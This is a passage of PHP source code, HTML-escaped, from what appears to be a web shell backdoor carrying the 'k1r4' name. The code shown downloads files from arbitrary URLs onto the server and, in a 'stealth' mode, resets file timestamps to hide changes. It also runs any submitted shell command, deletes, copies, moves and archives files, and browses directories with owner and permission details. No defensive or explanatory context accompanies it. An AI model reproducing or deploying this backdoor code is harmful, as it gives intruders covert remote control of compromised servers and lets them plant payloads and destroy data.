   if ((!eregi(&amp;quot;http://&amp;quot;,$uploadurl)) and (!eregi(&amp;quot;https://&amp;quot;,$uploadurl)) and (!eregi(&amp;quot;ftp://&amp;quot;,$uploadurl))) {echo &amp;quot;&amp;lt;b&amp;gt;Incorect url!&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
   else&lt;br /&gt;
   {&lt;br /&gt;
    $st = getmicrotime();&lt;br /&gt;
    $content = @file_get_contents($uploadurl);&lt;br /&gt;
    $dt = round(getmicrotime()-$st,4);&lt;br /&gt;
    if (!$content) {$uploadmess .=  &amp;quot;Can't download file!&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
    else&lt;br /&gt;
    {&lt;br /&gt;
     if ($filestealth) {$stat = stat($uploadpath.$destin);}&lt;br /&gt;
     $fp = fopen($uploadpath.$destin,&amp;quot;w&amp;quot;);&lt;br /&gt;
     if (!$fp) {$uploadmess .= &amp;quot;Error writing to file &amp;quot;.htmlspecialchars($destin).&amp;quot;!&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
     else&lt;br /&gt;
     {&lt;br /&gt;
      fwrite($fp,$content,strlen($content));&lt;br /&gt;
      fclose($fp);&lt;br /&gt;
      if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}&lt;br /&gt;
     }&lt;br /&gt;
    }&lt;br /&gt;
   }&lt;br /&gt;
  }&lt;br /&gt;
 }&lt;br /&gt;
 if ($miniform)&lt;br /&gt;
 {&lt;br /&gt;
  echo &amp;quot;&amp;lt;b&amp;gt;&amp;quot;.$uploadmess.&amp;quot;&amp;lt;/b&amp;gt;&amp;quot;;&lt;br /&gt;
  $act = &amp;quot;ls&amp;quot;;&lt;br /&gt;
 }&lt;br /&gt;
 else&lt;br /&gt;
 {&lt;br /&gt;
  echo &amp;quot;&amp;lt;b&amp;gt;File upload:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;&amp;quot;.$uploadmess.&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;form enctype=\&amp;quot;multipart/form-data\&amp;quot; action=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=upload&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;\&amp;quot; method=POST&amp;gt;&lt;br /&gt;
Select file on your local computer: &amp;lt;input name=\&amp;quot;uploadfile\&amp;quot; type=\&amp;quot;file\&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;or&amp;lt;br&amp;gt;&lt;br /&gt;
Input URL: &amp;lt;input name=\&amp;quot;uploadurl\&amp;quot; type=\&amp;quot;text\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($uploadurl).&amp;quot;\&amp;quot; size=\&amp;quot;70\&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Save this file dir: &amp;lt;input name=\&amp;quot;uploadpath\&amp;quot; size=\&amp;quot;70\&amp;quot; value=\&amp;quot;&amp;quot;.$dispd.&amp;quot;\&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
File-name (auto-fill): &amp;lt;input name=uploadfilename size=25&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;input type=checkbox name=uploadautoname value=1 id=df4&amp;gt;&amp;amp;nbsp;convert file name to lovercase&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;input type=submit name=submit value=\&amp;quot;Upload\&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/form&amp;gt;&amp;quot;;&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
if ($act == &amp;quot;delete&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
 $delerr = &amp;quot;&amp;quot;;&lt;br /&gt;
 foreach ($actbox as $v)&lt;br /&gt;
 {&lt;br /&gt;
  $result = FALSE;&lt;br /&gt;
  $result = fs_rmobj($v);&lt;br /&gt;
  if (!$result) {$delerr .= &amp;quot;Can't delete &amp;quot;.htmlspecialchars($v).&amp;quot;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
 }&lt;br /&gt;
 if (!empty($delerr)) {echo &amp;quot;&amp;lt;b&amp;gt;Deleting with errors:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;.$delerr;}&lt;br /&gt;
 $act = &amp;quot;ls&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
if (!$usefsbuff)&lt;br /&gt;
{&lt;br /&gt;
 if (($act == &amp;quot;paste&amp;quot;) or ($act == &amp;quot;copy&amp;quot;) or ($act == &amp;quot;cut&amp;quot;) or ($act == &amp;quot;unselect&amp;quot;)) {echo &amp;quot;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Sorry, buffer is disabled. For enable, set directive \&amp;quot;\$useFSbuff\&amp;quot; as TRUE.&amp;lt;/center&amp;gt;&amp;quot;;}&lt;br /&gt;
}&lt;br /&gt;
else&lt;br /&gt;
{&lt;br /&gt;
 if ($act == &amp;quot;copy&amp;quot;) {$err = &amp;quot;&amp;quot;; $sess_data[&amp;quot;copy&amp;quot;] = array_merge($sess_data[&amp;quot;copy&amp;quot;],$actbox); k1r4_sess_put($sess_data); $act = &amp;quot;ls&amp;quot;; }&lt;br /&gt;
 elseif ($act == &amp;quot;cut&amp;quot;) {$sess_data[&amp;quot;cut&amp;quot;] = array_merge($sess_data[&amp;quot;cut&amp;quot;],$actbox); k1r4_sess_put($sess_data); $act = &amp;quot;ls&amp;quot;;}&lt;br /&gt;
 elseif ($act == &amp;quot;unselect&amp;quot;) {foreach ($sess_data[&amp;quot;copy&amp;quot;] as $k=&amp;gt;$v) {if (in_array($v,$actbox)) {unset($sess_data[&amp;quot;copy&amp;quot;][$k]);}} foreach ($sess_data[&amp;quot;cut&amp;quot;] as $k=&amp;gt;$v) {if (in_array($v,$actbox)) {unset($sess_data[&amp;quot;cut&amp;quot;][$k]);}} k1r4_sess_put($sess_data); $act = &amp;quot;ls&amp;quot;;}&lt;br /&gt;
 if ($actemptybuff) {$sess_data[&amp;quot;copy&amp;quot;] = $sess_data[&amp;quot;cut&amp;quot;] = array(); k1r4_sess_put($sess_data);}&lt;br /&gt;
 elseif ($actpastebuff)&lt;br /&gt;
 {&lt;br /&gt;
  $psterr = &amp;quot;&amp;quot;;&lt;br /&gt;
  foreach($sess_data[&amp;quot;copy&amp;quot;] as $k=&amp;gt;$v)&lt;br /&gt;
  {&lt;br /&gt;
   $to = $d.basename($v);&lt;br /&gt;
   if (!fs_copy_obj($v,$to)) {$psterr .= &amp;quot;Can't copy &amp;quot;.$v.&amp;quot; to &amp;quot;.$to.&amp;quot;!&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
   if ($copy_unset) {unset($sess_data[&amp;quot;copy&amp;quot;][$k]);}&lt;br /&gt;
  }&lt;br /&gt;
  foreach($sess_data[&amp;quot;cut&amp;quot;] as $k=&amp;gt;$v)&lt;br /&gt;
  {&lt;br /&gt;
   $to = $d.basename($v);&lt;br /&gt;
   if (!fs_move_obj($v,$to)) {$psterr .= &amp;quot;Can't move &amp;quot;.$v.&amp;quot; to &amp;quot;.$to.&amp;quot;!&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
   unset($sess_data[&amp;quot;cut&amp;quot;][$k]);&lt;br /&gt;
  }&lt;br /&gt;
  k1r4_sess_put($sess_data);&lt;br /&gt;
  if (!empty($psterr)) {echo &amp;quot;&amp;lt;b&amp;gt;Pasting with errors:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;.$psterr;}&lt;br /&gt;
  $act = &amp;quot;ls&amp;quot;;&lt;br /&gt;
 }&lt;br /&gt;
 elseif ($actarcbuff)&lt;br /&gt;
 {&lt;br /&gt;
  $arcerr = &amp;quot;&amp;quot;;&lt;br /&gt;
  if (substr($actarcbuff_path,-7,7) == &amp;quot;.tar.gz&amp;quot;) {$ext = &amp;quot;.tar.gz&amp;quot;;}&lt;br /&gt;
  else {$ext = &amp;quot;.tar.gz&amp;quot;;}&lt;br /&gt;
  if ($ext == &amp;quot;.tar.gz&amp;quot;) {$cmdline = &amp;quot;tar cfzv&amp;quot;;}&lt;br /&gt;
  $cmdline .= &amp;quot; &amp;quot;.$actarcbuff_path;&lt;br /&gt;
  $objects = array_merge($sess_data[&amp;quot;copy&amp;quot;],$sess_data[&amp;quot;cut&amp;quot;]);&lt;br /&gt;
  foreach($objects as $v)&lt;br /&gt;
  {&lt;br /&gt;
   $v = str_replace(&amp;quot;\\&amp;quot;,DIRECTORY_SEPARATOR,$v);&lt;br /&gt;
   if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}&lt;br /&gt;
   if (is_dir($v))&lt;br /&gt;
   {&lt;br /&gt;
    if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}&lt;br /&gt;
    $v .= &amp;quot;*&amp;quot;;&lt;br /&gt;
   }&lt;br /&gt;
   $cmdline .= &amp;quot; &amp;quot;.$v;&lt;br /&gt;
  }&lt;br /&gt;
  $tmp = realpath(&amp;quot;.&amp;quot;);&lt;br /&gt;
  chdir($d);&lt;br /&gt;
  $ret = myshellexec($cmdline);&lt;br /&gt;
  chdir($tmp);&lt;br /&gt;
  if (empty($ret)) {$arcerr .= &amp;quot;Can't call archivator (&amp;quot;.htmlspecialchars(str2mini($cmdline,60)).&amp;quot;)!&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
  $ret = str_replace(&amp;quot;\r\n&amp;quot;,&amp;quot;\n&amp;quot;,$ret);&lt;br /&gt;
  $ret = explode(&amp;quot;\n&amp;quot;,$ret);&lt;br /&gt;
  if ($copy_unset) {foreach($sess_data[&amp;quot;copy&amp;quot;] as $k=&amp;gt;$v) {unset($sess_data[&amp;quot;copy&amp;quot;][$k]);}}&lt;br /&gt;
  foreach($sess_data[&amp;quot;cut&amp;quot;] as $k=&amp;gt;$v)&lt;br /&gt;
  {&lt;br /&gt;
   if (in_array($v,$ret)) {fs_rmobj($v);}&lt;br /&gt;
   unset($sess_data[&amp;quot;cut&amp;quot;][$k]);&lt;br /&gt;
  }&lt;br /&gt;
  k1r4_sess_put($sess_data);&lt;br /&gt;
  if (!empty($arcerr)) {echo &amp;quot;&amp;lt;b&amp;gt;Archivation errors:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;.$arcerr;}&lt;br /&gt;
  $act = &amp;quot;ls&amp;quot;;&lt;br /&gt;
 }&lt;br /&gt;
 elseif ($actpastebuff)&lt;br /&gt;
 {&lt;br /&gt;
  $psterr = &amp;quot;&amp;quot;;&lt;br /&gt;
  foreach($sess_data[&amp;quot;copy&amp;quot;] as $k=&amp;gt;$v)&lt;br /&gt;
  {&lt;br /&gt;
   $to = $d.basename($v);&lt;br /&gt;
   if (!fs_copy_obj($v,$d)) {$psterr .= &amp;quot;Can't copy &amp;quot;.$v.&amp;quot; to &amp;quot;.$to.&amp;quot;!&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
   if ($copy_unset) {unset($sess_data[&amp;quot;copy&amp;quot;][$k]);}&lt;br /&gt;
  }&lt;br /&gt;
  foreach($sess_data[&amp;quot;cut&amp;quot;] as $k=&amp;gt;$v)&lt;br /&gt;
  {&lt;br /&gt;
   $to = $d.basename($v);&lt;br /&gt;
   if (!fs_move_obj($v,$d)) {$psterr .= &amp;quot;Can't move &amp;quot;.$v.&amp;quot; to &amp;quot;.$to.&amp;quot;!&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
   unset($sess_data[&amp;quot;cut&amp;quot;][$k]);&lt;br /&gt;
  }&lt;br /&gt;
  k1r4_sess_put($sess_data);&lt;br /&gt;
  if (!empty($psterr)) {echo &amp;quot;&amp;lt;b&amp;gt;Pasting with errors:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;.$psterr;}&lt;br /&gt;
  $act = &amp;quot;ls&amp;quot;;&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
if ($act == &amp;quot;cmd&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
if (trim($cmd) == &amp;quot;ps -aux&amp;quot;) {$act = &amp;quot;processes&amp;quot;;}&lt;br /&gt;
elseif (trim($cmd) == &amp;quot;tasklist&amp;quot;) {$act = &amp;quot;processes&amp;quot;;}&lt;br /&gt;
else&lt;br /&gt;
{&lt;br /&gt;
 @chdir($chdir);&lt;br /&gt;
 if (!empty($submit))&lt;br /&gt;
 {&lt;br /&gt;
  echo &amp;quot;&amp;lt;b&amp;gt;Result of execution this command&amp;lt;/b&amp;gt;:&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
  $olddir = realpath(&amp;quot;.&amp;quot;);&lt;br /&gt;
  @chdir($d);&lt;br /&gt;
  $ret = myshellexec($cmd);&lt;br /&gt;
  $ret = convert_cyr_string($ret,&amp;quot;d&amp;quot;,&amp;quot;w&amp;quot;);&lt;br /&gt;
  if ($cmd_txt)&lt;br /&gt;
  {&lt;br /&gt;
   $rows = count(explode(&amp;quot;\r\n&amp;quot;,$ret))+1;&lt;br /&gt;
   if ($rows &amp;lt; 10) {$rows = 10;}&lt;br /&gt;
   echo &amp;quot;&amp;lt;br&amp;gt;&amp;lt;textarea cols=\&amp;quot;122\&amp;quot; rows=\&amp;quot;&amp;quot;.$rows.&amp;quot;\&amp;quot; readonly&amp;gt;&amp;quot;.htmlspecialchars($ret).&amp;quot;&amp;lt;/textarea&amp;gt;&amp;quot;;&lt;br /&gt;
  }&lt;br /&gt;
  else {echo $ret.&amp;quot;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
  @chdir($olddir);&lt;br /&gt;
 }&lt;br /&gt;
 else {echo &amp;quot;&amp;lt;b&amp;gt;Execution command&amp;lt;/b&amp;gt;&amp;quot;; if (empty($cmd_txt)) {$cmd_txt = TRUE;}}&lt;br /&gt;
 echo &amp;quot;&amp;lt;form action=\&amp;quot;&amp;quot;.$surl.&amp;quot;\&amp;quot; method=POST&amp;gt;&amp;lt;input type=hidden name=act value=cmd&amp;gt;&amp;lt;textarea name=cmd cols=122 rows=10&amp;gt;&amp;quot;.htmlspecialchars($cmd).&amp;quot;&amp;lt;/textarea&amp;gt;&amp;lt;input type=hidden name=\&amp;quot;d\&amp;quot; value=\&amp;quot;&amp;quot;.$dispd.&amp;quot;\&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;input type=submit name=submit value=\&amp;quot;Execute\&amp;quot;&amp;gt;&amp;amp;nbsp;Display in text-area&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;checkbox\&amp;quot; name=\&amp;quot;cmd_txt\&amp;quot; value=\&amp;quot;1\&amp;quot;&amp;quot;; if ($cmd_txt) {echo &amp;quot; checked&amp;quot;;} echo &amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
if ($act == &amp;quot;ls&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
 if (count($ls_arr) &amp;gt; 0) {$list = $ls_arr;}&lt;br /&gt;
 else&lt;br /&gt;
 {&lt;br /&gt;
  $list = array();&lt;br /&gt;
  if ($h = @opendir($d))&lt;br /&gt;
  {&lt;br /&gt;
   while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}&lt;br /&gt;
   closedir($h);&lt;br /&gt;
  }&lt;br /&gt;
  else {}&lt;br /&gt;
 }&lt;br /&gt;
 if (count($list) == 0) {echo &amp;quot;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Can't open folder (&amp;quot;.htmlspecialchars($d).&amp;quot;)!&amp;lt;/b&amp;gt;&amp;lt;/center&amp;gt;&amp;quot;;}&lt;br /&gt;
 else&lt;br /&gt;
 {&lt;br /&gt;
  //Building array&lt;br /&gt;
  $objects = array();&lt;br /&gt;
  $vd = &amp;quot;f&amp;quot;; //Viewing mode&lt;br /&gt;
  if ($vd == &amp;quot;f&amp;quot;)&lt;br /&gt;
  {&lt;br /&gt;
   $objects[&amp;quot;head&amp;quot;] = array();&lt;br /&gt;
   $objects[&amp;quot;folders&amp;quot;] = array();&lt;br /&gt;
   $objects[&amp;quot;links&amp;quot;] = array();&lt;br /&gt;
   $objects[&amp;quot;files&amp;quot;] = array();&lt;br /&gt;
   foreach ($list as $v)&lt;br /&gt;
   {&lt;br /&gt;
    $o = basename($v);&lt;br /&gt;
    $row = array();&lt;br /&gt;
    if ($o == &amp;quot;.&amp;quot;) {$row[] = $d.$o; $row[] = &amp;quot;LINK&amp;quot;;}&lt;br /&gt;
    elseif ($o == &amp;quot;..&amp;quot;) {$row[] = $d.$o; $row[] = &amp;quot;LINK&amp;quot;;}&lt;br /&gt;
    elseif (is_dir($v))&lt;br /&gt;
    {&lt;br /&gt;
     if (is_link($v)) {$type = &amp;quot;LINK&amp;quot;;}&lt;br /&gt;
     else {$type = &amp;quot;DIR&amp;quot;;}&lt;br /&gt;
     $row[] = $v;&lt;br /&gt;
     $row[] = $type;&lt;br /&gt;
    }&lt;br /&gt;
    elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}&lt;br /&gt;
    $row[] = filemtime($v);&lt;br /&gt;
    if (!$win)&lt;br /&gt;
    {&lt;br /&gt;
     $ow = posix_getpwuid(fileowner($v));&lt;br /&gt;
     $gr = posix_getgrgid(filegroup($v));&lt;br /&gt;
     $row[] = ($ow[&amp;quot;name&amp;quot;]?$ow[&amp;quot;name&amp;quot;]:fileowner($v)).&amp;quot;/&amp;quot;.($gr[&amp;quot;name&amp;quot;]?$gr[&amp;quot;name&amp;quot;]:filegroup($v));&lt;br /&gt;
    }&lt;br /&gt;
    $row[] = fileperms($v);&lt;br /&gt;
    if (($o == &amp;quot;.&amp;quot;) or ($o == &amp;quot;..&amp;quot;)) {$objects[&amp;quot;head&amp;quot;][] = $row;}&lt;br /&gt;
    elseif (is_link($v)) {$objects[&amp;quot;links&amp;quot;][] = $row;}&lt;br /&gt;
    elseif (is_dir($v)) {$objects[&amp;quot;folders&amp;quot;][] = $row;}&lt;br /&gt;
    elseif (is_file($v)) {$objects[&amp;quot;files&amp;quot;][] = $row;}&lt;br /&gt;
    $i++;&lt;br /&gt;
   }&lt;br /&gt;
   $row = array();&lt;br /&gt;
   $row[] = &amp;quot;&amp;lt;b&amp;gt;Name&amp;lt;/b&amp;gt;&amp;quot;;&lt;br /&gt;
   $row[] = &amp;quot;&amp;lt;b&amp;gt;Size&amp;lt;/b&amp;gt;&amp;quot;;&lt;br /&gt;
   $row[] = &amp;quot;&amp;lt;b&amp;gt;Modify&amp;lt;/b&amp;gt;&amp;quot;;&lt;br /&gt;
   if (!$win)&lt;br /&gt;
  {$row[] = &amp;quot;&amp;lt;b&amp;gt;Owner/Group&amp;lt;/b&amp;gt;&amp;quot;;}&lt;br /&gt;
   $row[] = &amp;quot;&amp;lt;b&amp;gt;Perms&amp;lt;/b&amp;gt;&amp;quot;;&lt;br /&gt;
   $row[] = &amp;quot;&amp;lt;b&amp;gt;Action&amp;lt;/b&amp;gt;&amp;quot;;&lt;br /&gt;
   $parsesort = parsesort($sort);&lt;br /&gt;
   $sort = $parsesort[0].$parsesort[1];&lt;br /&gt;
   $k = $parsesort[0];&lt;br /&gt;
   if ($parsesort[1] != &amp;quot;a&amp;quot;) {$parsesort[1] = &amp;quot;d&amp;quot;;}&lt;br /&gt;
   $y = &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=&amp;quot;.$dspact.&amp;quot;&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;&amp;amp;sort=&amp;quot;.$k.($parsesort[1] == &amp;quot;a&amp;quot;?&amp;quot;d&amp;quot;:&amp;quot;a&amp;quot;).&amp;quot;\&amp;quot;&amp;gt;&amp;quot;;&lt;br /&gt;
   $y .= &amp;quot;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=sort_&amp;quot;.($sort[1] == &amp;quot;a&amp;quot;?&amp;quot;asc&amp;quot;:&amp;quot;desc&amp;quot;).&amp;quot;\&amp;quot; height=\&amp;quot;9\&amp;quot; width=\&amp;quot;14\&amp;quot; alt=\&amp;quot;&amp;quot;.($parsesort[1] == &amp;quot;a&amp;quot;?&amp;quot;Asc.&amp;quot;:&amp;quot;Desc&amp;quot;).&amp;quot;\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;quot;;&lt;br /&gt;
   $row[$k] .= $y;&lt;br /&gt;
   for($i=0;$i&amp;lt;count($row)-1;$i++)&lt;br /&gt;
   {&lt;br /&gt;
    if ($i != $k) {$row[$i] = &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=&amp;quot;.$dspact.&amp;quot;&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;&amp;amp;sort=&amp;quot;.$i.$parsesort[1].&amp;quot;\&amp;quot;&amp;gt;&amp;quot;.$row[$i].&amp;quot;&amp;lt;/a&amp;gt;&amp;quot;;}&lt;br /&gt;
   }&lt;br /&gt;
   $v = $parsesort[0];&lt;br /&gt;
   usort($objects[&amp;quot;folders&amp;quot;], &amp;quot;tabsort&amp;quot;);&lt;br /&gt;
   usort($objects[&amp;quot;links&amp;quot;], &amp;quot;tabsort&amp;quot;);&lt;br /&gt;
   usort($objects[&amp;quot;files&amp;quot;], &amp;quot;tabsort&amp;quot;);&lt;br /&gt;
   if ($parsesort[1] == &amp;quot;d&amp;quot;)&lt;br /&gt;
   {&lt;br /&gt;
    $objects[&amp;quot;folders&amp;quot;] = array_reverse($objects[&amp;quot;folders&amp;quot;]);&lt;br /&gt;
    $objects[&amp;quot;files&amp;quot;] = array_reverse($objects[&amp;quot;files&amp;quot;]);&lt;br /&gt;
   }&lt;br /&gt;
   $objects = array_merge($objects[&amp;quot;head&amp;quot;],$objects[&amp;quot;folders&amp;quot;],$objects[&amp;quot;links&amp;quot;],$objects[&amp;quot;files&amp;quot;]);&lt;br /&gt;
   $tab = array();&lt;br /&gt;
   $tab[&amp;quot;cols&amp;quot;] = array($row);&lt;br /&gt;
   $tab[&amp;quot;head&amp;quot;] = array();&lt;br /&gt;
   $tab[&amp;quot;folders&amp;quot;] = array();&lt;br /&gt;
   $tab[&amp;quot;links&amp;quot;] = array();&lt;br /&gt;
   $tab[&amp;quot;files&amp;quot;] = array();&lt;br /&gt;
   $i = 0;&lt;br /&gt;
   foreach ($objects as $a)&lt;br /&gt;
   {&lt;br /&gt;
    $v = $a[0];&lt;br /&gt;
    $o = basename($v);&lt;br /&gt;
    $dir = dirname($v);&lt;br /&gt;
    if ($disp_fullpath) {$disppath = $v;}&lt;br /&gt;
    else {$disppath = $o;}&lt;br /&gt;
    $disppath = str2mini($disppath,60);&lt;br /&gt;
    if (in_array($v,$sess_data[&amp;quot;cut&amp;quot;])) {$disppath = &amp;quot;&amp;lt;strike&amp;gt;&amp;quot;.$disppath.&amp;quot;&amp;lt;/strike&amp;gt;&amp;quot;;}&lt;br /&gt;
    elseif (in_array($v,$sess_data[&amp;quot;copy&amp;quot;])) {$disppath = &amp;quot;&amp;lt;u&amp;gt;&amp;quot;.$disppath.&amp;quot;&amp;lt;/u&amp;gt;&amp;quot;;}&lt;br /&gt;
    foreach ($regxp_highlight as $r)&lt;br /&gt;
    {&lt;br /&gt;
     if (ereg($r[0],$o))&lt;br /&gt;
     {&lt;br /&gt;
      if ((!is_numeric($r[1])) or ($r[1] &amp;gt; 3)) {$r[1] = 0; ob_clean(); echo &amp;quot;Warning! Configuration error in \$regxp_highlight[&amp;quot;.$k.&amp;quot;][0] - unknown command.&amp;quot;; k1r4exit();}&lt;br /&gt;
      else&lt;br /&gt;
      {&lt;br /&gt;
       $r[1] = round($r[1]);&lt;br /&gt;
       $isdir = is_dir($v);&lt;br /&gt;
       if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))&lt;br /&gt;
       {&lt;br /&gt;
        if (empty($r[2])) {$r[2] = &amp;quot;&amp;lt;b&amp;gt;&amp;quot;; $r[3] = &amp;quot;&amp;lt;/b&amp;gt;&amp;quot;;}&lt;br /&gt;
        $disppath = $r[2].$disppath.$r[3];&lt;br /&gt;
        if ($r[4]) {break;}&lt;br /&gt;
       }&lt;br /&gt;
      }&lt;br /&gt;
     }&lt;br /&gt;
    }&lt;br /&gt;
    $uo = urlencode($o);&lt;br /&gt;
    $ud = urlencode($dir);&lt;br /&gt;
    $uv = urlencode($v);&lt;br /&gt;
    $row = array();&lt;br /&gt;
    if ($o == &amp;quot;.&amp;quot;)&lt;br /&gt;
    {&lt;br /&gt;
     $row[] = &amp;quot;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=small_dir\&amp;quot; height=\&amp;quot;16\&amp;quot; width=\&amp;quot;19\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=&amp;quot;.$dspact.&amp;quot;&amp;amp;d=&amp;quot;.urlencode(realpath($d.$o)).&amp;quot;&amp;amp;sort=&amp;quot;.$sort.&amp;quot;\&amp;quot;&amp;gt;&amp;quot;.$o.&amp;quot;&amp;lt;/a&amp;gt;&amp;quot;;&lt;br /&gt;
     $row[] = &amp;quot;LINK&amp;quot;;&lt;br /&gt;
    }&lt;br /&gt;
    elseif ($o == &amp;quot;..&amp;quot;)&lt;br /&gt;
    {&lt;br /&gt;
     $row[] = &amp;quot;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=ext_lnk\&amp;quot; height=\&amp;quot;16\&amp;quot; width=\&amp;quot;19\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=&amp;quot;.$dspact.&amp;quot;&amp;amp;d=&amp;quot;.urlencode(realpath($d.$o)).&amp;quot;&amp;amp;sort=&amp;quot;.$sort.&amp;quot;\&amp;quot;&amp;gt;&amp;quot;.$o.&amp;quot;&amp;lt;/a&amp;gt;&amp;quot;;&lt;br /&gt;
     $row[] = &amp;quot;LINK&amp;quot;;&lt;br /&gt;
    }&lt;br /&gt;
    elseif (is_dir($v))&lt;br /&gt;
    {&lt;br /&gt;
     if (is_link($v))&lt;br /&gt;
     {&lt;br /&gt;
      $disppath .= &amp;quot; =&amp;gt; &amp;quot;.readlink($v);&lt;br /&gt;
      $type = &amp;quot;LINK&amp;quot;;&lt;br /&gt;
      $row[] =  &amp;quot;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=ext_lnk\&amp;quot; height=\&amp;quot;16\&amp;quot; width=\&amp;quot;16\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=ls&amp;amp;d=&amp;quot;.$uv.&amp;quot;&amp;amp;sort=&amp;quot;.$sort.&amp;quot;\&amp;quot;&amp;gt;[&amp;quot;.$disppath.&amp;quot;]&amp;lt;/a&amp;gt;&amp;quot;;&lt;br /&gt;
     }&lt;br /&gt;
     else&lt;br /&gt;
     {&lt;br /&gt;
      $type = &amp;quot;DIR&amp;quot;;&lt;br /&gt;
      $row[] =  &amp;quot;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=small_dir\&amp;quot; height=\&amp;quot;16\&amp;quot; width=\&amp;quot;19\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=ls&amp;amp;d=&amp;quot;.$uv.&amp;quot;&amp;amp;sort=&amp;quot;.$sort.&amp;quot;\&amp;quot;&amp;gt;[&amp;quot;.$disppath.&amp;quot;]&amp;lt;/a&amp;gt;&amp;quot;;&lt;br /&gt;
      }&lt;br /&gt;
     $row[] = $type;&lt;br /&gt;
    }&lt;br /&gt;
    elseif(is_file($v))&lt;br /&gt;
    {&lt;br /&gt;
     $ext = explode(&amp;quot;.&amp;quot;,$o);&lt;br /&gt;
     $c = count($ext)-1;&lt;br /&gt;
     $ext = $ext[$c];&lt;br /&gt;
     $ext = strtolower($ext);&lt;br /&gt;
     $row[] =  &amp;quot;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=ext_&amp;quot;.$ext.&amp;quot;\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=&amp;quot;.$uo.&amp;quot;&amp;amp;d=&amp;quot;.$ud.&amp;quot;&amp;amp;\&amp;quot;&amp;gt;&amp;quot;.$disppath.&amp;quot;&amp;lt;/a&amp;gt;&amp;quot;;&lt;br /&gt;
     $row[] = view_size($a[1]);&lt;br /&gt;
    }&lt;br /&gt;
